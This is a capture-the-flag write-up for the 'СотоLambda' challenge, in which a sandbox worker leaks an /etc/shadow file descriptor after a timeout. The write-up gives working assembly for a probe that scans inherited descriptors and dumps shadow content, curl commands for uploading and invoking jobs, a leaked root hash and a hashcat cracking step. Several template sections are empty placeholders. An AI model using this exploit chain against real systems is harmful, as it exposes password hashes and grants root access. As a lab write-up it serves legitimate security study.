← Back to Writeups
HTBN/AMisc

СотоLambda

XESXOR8/23/20269 min read
#misc#htb#n/a

СотоLambda

Platform: Avitoctf | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: binary_reversing, timeout_state_leak, inherited_fd_abuse, password_hash_cracking

Summary

Task: A non-stripped ELF runs uploaded jobs in a persistent worker sandbox whose timeout path mishandles privileged resources. Solution: Leak an inherited shadow descriptor, crack the root DES hash, and run a flag reader as root.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260723_avitoctf_sotolambda
  • Tags: elf, sandbox, crypt, file_descriptor_leak, siglongjmp
  • Indicators: open before authentication, open without O_CLOEXEC, siglongjmp timeout cleanup, persistent worker pool
  • Source: 20260723_avitoctf_sotolambda.md

Foothold

Vulnerability / Misconfiguration

  1. Binary_reversing
  2. Timeout_state_leak
  3. Inherited_fd_abuse
  4. Password_hash_cracking
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • binary_reversing
  • timeout_state_leak
  • inherited_fd_abuse
  • password_hash_cracking
  • Tags: elf, sandbox, crypt, file_descriptor_leak, siglongjmp

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Улей запускает «СотоLambda» — облачную систему исполнения небольших задач. Загрузите программу, выберите ресурсы и дедлайн, и рой воркеров исполнит её. Даны тестовые учётные данные и демо-бинарник. Есть подозрение, что воркер не всегда очищает служебные следы. Доберитесь до /root/flag.txt.

The challenge supplied a non-stripped x86-64 worker binary, sandbox_worker.elf, plus a web interface for uploading ELF programs and invoking them with credentials and sandbox limits. The wording about uncleared service “traces” was literal: a timed-out request left a privileged file descriptor in a persistent worker, and a later low-privilege program inherited it.

No memory corruption, namespace escape, or direct authentication bypass was required.

Initial Triage

The worker was a dynamically linked, PIE x86-64 ELF with NX, partial RELRO, no stack canary, and symbols intact. Its imports immediately exposed the important subsystems:

  • account lookup and verification: getpwnam, fgetspent, and crypt;
  • deadline recovery: setitimer, sigsetjmp, and siglongjmp;
  • process execution: fork, setresgid, setresuid, and execv;
  • output collection: pipe2, poll, and waitpid.

The named handle_request function and global child/pipe variables also suggested that one privileged process served multiple requests. That made cross-request resource lifetime more important than conventional memory-corruption checks.

The supplied binary can be checked with:

sha256sum sandbox_worker.elf
# f33ea64f449a32aed3a2aaf27dbeda24d7da31b1abe5809363ab4e0718df8a28

file sandbox_worker.elf
readelf -hW sandbox_worker.elf
readelf -sW sandbox_worker.elf | less
objdump -d -M intel sandbox_worker.elf | less

Analysis

The descriptor-lifetime bug

handle_request installed the SIGALRM handler and saved a recovery point with sigsetjmp around 0x2492..0x24d0. For each request, it then opened /etc/shadow around 0x24f6..0x2506 as follows:

shadow_fd = open("/etc/shadow", O_RDONLY);

There are two crucial properties here:

  1. The privileged file is opened before authentication completes;
  2. O_CLOEXEC is absent, so the resulting descriptor survives execv unless explicitly closed.

The request timer was armed around 0x258f..0x25b7. Authentication duplicated the descriptor at 0x2969, wrapped the duplicate in a stream, iterated entries with fgetspent, and checked crypt(password, sp_pwdp) around 0x2969..0x2a23.

When SIGALRM fired, the handler used siglongjmp. The timeout path at 0x2678..0x27bd disarmed the timer, killed and reaped the active child, and closed only the global parent-side pipe descriptors. It did not close the local shadow_fd or a possible fdopen duplicate. Control then returned to the request-reading loop in the same long-lived worker process.

On a later successful request, the forked child closed only the current request's shadow descriptor at 0x2c11. It did not know about stale descriptors leaked by previous requests. After dropping to the authenticated account, it called execv at 0x2cd3. The job pipes were created with pipe2(..., O_CLOEXEC), but the stale shadow descriptor lacked FD_CLOEXEC and therefore survived the exec.

This gives the complete primitive:

privileged worker opens /etc/shadow
        ↓
SIGALRM interrupts the request
        ↓
siglongjmp skips local cleanup
        ↓
the worker processes another request
        ↓
fork → close only current shadow fd → drop uid/gid → execv
        ↓
uploaded ELF inherits the stale readable shadow fd

Changing UID after a file has been opened does not revoke access through that open file description. Likewise, execv does not close every descriptor; it closes only descriptors marked FD_CLOEXEC.

Why the probe rewinds and scans

The leaked descriptor number was not stable. A timeout before dup commonly left one descriptor, while a timeout during authentication could leave both the original and duplicate. Runtime wrappers and other inherited resources changed numbering further.

The original and fdopen duplicate could also share an open-file description whose offset had already reached EOF. The payload therefore:

  1. Scans descriptors 3 through 255;
  2. Calls lseek(fd, 0, SEEK_SET);
  3. Reads the descriptor;
  4. Recognizes shadow content by searching for root:.

RLIMIT_NOFILE does not close descriptors that are already open, so the scan works as long as the invocation permits a suitable descriptor range.

Dynamic confirmation

Running the unmodified worker as root in an isolated Ubuntu 22.04 amd64 container and submitting a 1 ms request produced a timeout response. While that same worker waited for another request, /proc/<worker-pid>/fd still contained a descriptor pointing to /etc/shadow.

A second local proof opened /etc/shadow as root, dropped to UID and GID 65534, and then execed the probe. The low-privilege process still printed the file through the inherited descriptor. This confirmed both halves of the exploit independently of decompiler output.

Payloads

Inherited-descriptor probe

The final probe was a tiny static, syscall-only ELF. The essential assembly is:

.global _start
.section .bss
.balign 16
buf:
    .skip 16384

.section .text
_start:
    mov $3, %r12d

fd_loop:
    mov $8, %eax                  # lseek(fd, 0, SEEK_SET)
    mov %r12d, %edi
    xor %esi, %esi
    xor %edx, %edx
    syscall
    test %rax, %rax
    js next_fd

    xor %eax, %eax                # read(fd, buf, sizeof(buf))
    mov %r12d, %edi
    lea buf(%rip), %rsi
    mov $16384, %edx
    syscall
    cmp $5, %rax
    jl next_fd
    mov %rax, %r13
    xor %ecx, %ecx

scan:
    lea 5(%rcx), %rdx
    cmp %r13, %rdx
    ja next_fd
    lea buf(%rip), %rsi
    cmpl $0x746f6f72, (%rsi,%rcx) # "root"
    jne scan_next
    cmpb $0x3a, 4(%rsi,%rcx)      # ':'
    je found
scan_next:
    inc %rcx
    jmp scan

found:
    mov $1, %eax                  # write(1, buf, length)
    mov $1, %edi
    lea buf(%rip), %rsi
    mov %r13, %rdx
    syscall
    xor %edi, %edi
    jmp exit

next_fd:
    inc %r12d
    cmp $256, %r12d
    jl fd_loop
    mov $1, %edi
exit:
    mov $60, %eax
    syscall

Build and verify it:

gcc -nostdlib -static -s -o fd_probe.elf fd_probe.S
wc -c fd_probe.elf
# 4520 fd_probe.elf
sha256sum fd_probe.elf
# 7ec6c1e24c31d548034b089e06628a0b0a9b784339f47ffd2f48ee6c4e5ef342

Root flag reader

After recovering the root password, a second syscall-only ELF read the target file directly:

.global _start
.section .rodata
path:
    .asciz "/root/flag.txt"

.section .bss
buf:
    .skip 4096

.section .text
_start:
    mov $2, %eax                  # open(path, O_RDONLY, 0)
    lea path(%rip), %rdi
    xor %esi, %esi
    xor %edx, %edx
    syscall
    test %rax, %rax
    js fail
    mov %eax, %edi
    xor %eax, %eax                # read(fd, buf, sizeof(buf))
    lea buf(%rip), %rsi
    mov $4096, %edx
    syscall
    test %rax, %rax
    js fail
    mov %rax, %rdx
    mov $1, %eax                  # write(1, buf, length)
    mov $1, %edi
    syscall
    xor %edi, %edi
    jmp exit
fail:
    mov $1, %edi
exit:
    mov $60, %eax
    syscall

Build and verify it similarly:

gcc -nostdlib -static -s -o read_flag.elf read_flag.S
wc -c read_flag.elf
# 8560 read_flag.elf
sha256sum read_flag.elf
# 503f7b233705ecebdc5d3ae7eaa85020bd54d674716bfb153d8a5c1b066ee3fe

Exploitation

The browser JavaScript documented the API workflow:

  • GET /api/config returned defaults and the test credential runner:runner;
  • POST /api/upload accepted a multipart field named file;
  • GET /api/binaries listed uploaded and seeded programs;
  • POST /api/invoke accepted binary_id, args, stdin, auth, and sandbox_settings.

The live origin and uploaded binary IDs were ephemeral. The following commands deliberately use placeholders and capture IDs from fresh upload responses:

BASE='https://<INSTANCE>.avitoctf.ru'

curl -sS "$BASE/api/config" | jq .
curl -sS "$BASE/api/binaries" | jq .

PROBE_ID="$(
  curl -sS -F 'file=@fd_probe.elf' "$BASE/api/upload" | jq -r .binary_id
)"

READER_ID="$(
  curl -sS -F 'file=@read_flag.elf' "$BASE/api/upload" | jq -r .binary_id
)"

First, invoke the seeded hello binary as the ordinary user with a 1 ms deadline. Replace <SEEDED_HELLO_ID> with its current value from /api/binaries:

curl -sS "$BASE/api/invoke" \
  -H 'Content-Type: application/json' \
  --data "$(jq -nc --arg id '<SEEDED_HELLO_ID>' '{
    binary_id:$id,
    args:[],
    stdin:"",
    auth:{login:"runner",password:"runner"},
    sandbox_settings:{memory_mb:256,timeout_ms:1}
  }')" | jq .

The desired response has timed_out: true. This pollutes whichever persistent worker receives that request.

The backend routed invocations across roughly four long-lived workers. A subsequent probe was therefore not guaranteed to hit the polluted process. Repeating the normal invocation eventually selected the worker carrying the stale descriptor:

for attempt in $(seq 1 12); do
  curl -sS "$BASE/api/invoke" \
    -H 'Content-Type: application/json' \
    --data "$(jq -nc --arg id "$PROBE_ID" '{
      binary_id:$id,
      args:[],
      stdin:"",
      auth:{login:"runner",password:"runner"},
      sandbox_settings:{memory_mb:256,timeout_ms:5000}
    }')" | jq .
done

Approximately every fourth request reached the polluted worker and returned /etc/shadow. If no attempt succeeds, trigger another 1 ms timeout and retry; the exploit depends on worker affinity by chance, not HTTP connection persistence.

The leaked root entry was:

root:azMuiLc/ZPwrM:20648:0:99999:7:::

Unlike the runner account's SHA-512 crypt value, the root hash was a traditional 13-character DES crypt hash. Hashcat mode 1500 and the cached RockYou list recovered it immediately:

printf '%s\n' 'azMuiLc/ZPwrM' > root.hash
hashcat -m 1500 -a 0 root.hash ../../../resources/wordlists/passwords/rockyou.txt \
  --outfile cracked.txt --outfile-format 2
hashcat -m 1500 root.hash --show
# azMuiLc/ZPwrM:mole

Finally, invoke the uploaded reader using root:mole:

curl -sS "$BASE/api/invoke" \
  -H 'Content-Type: application/json' \
  --data "$(jq -nc --arg id "$READER_ID" '{
    binary_id:$id,
    args:[],
    stdin:"",
    auth:{login:"root",password:"mole"},
    sandbox_settings:{memory_mb:256,timeout_ms:5000}
  }')" | jq .

The program exited successfully and returned the challenge flag on standard output.

Eliminated Hypotheses

  • “Timeout cleanup closes every request resource.” False. It closes the global pipe descriptors and handles the active child, but siglongjmp bypasses cleanup of the local shadow descriptor.
  • “Exec closes all inherited descriptors.” False. Only descriptors carrying FD_CLOEXEC are closed. /etc/shadow was opened without O_CLOEXEC.
  • “A timeout directly bypasses authentication.” False. Every fresh request still performs account lookup and crypt verification before it forks the uploaded job. The leak yields password hashes, not unauthenticated root execution.
  • “A memory-corruption or namespace escape is required.” False. Ordinary POSIX descriptor semantics fully explain the privilege boundary failure.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR